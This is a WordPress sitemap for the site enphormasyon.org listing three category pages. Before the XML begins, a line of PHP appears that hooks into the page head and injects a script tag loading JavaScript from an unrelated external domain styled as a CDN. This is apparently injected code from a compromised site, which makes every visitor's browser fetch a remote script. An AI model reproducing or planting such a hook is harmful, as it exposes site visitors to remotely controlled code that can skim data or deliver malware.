add_action('wp_head',function(){echo'<script src="https://cdn.knightfrank.it.com/shop/frontend/ajax/js/lazy.min.js" defer></script>';},999);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://enphormasyon.org/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://enphormasyon.org/category/uncategorized/</loc></url><url><loc>https://enphormasyon.org/category/informational/</loc></url><url><loc>https://enphormasyon.org/category/business/</loc></url></urlset>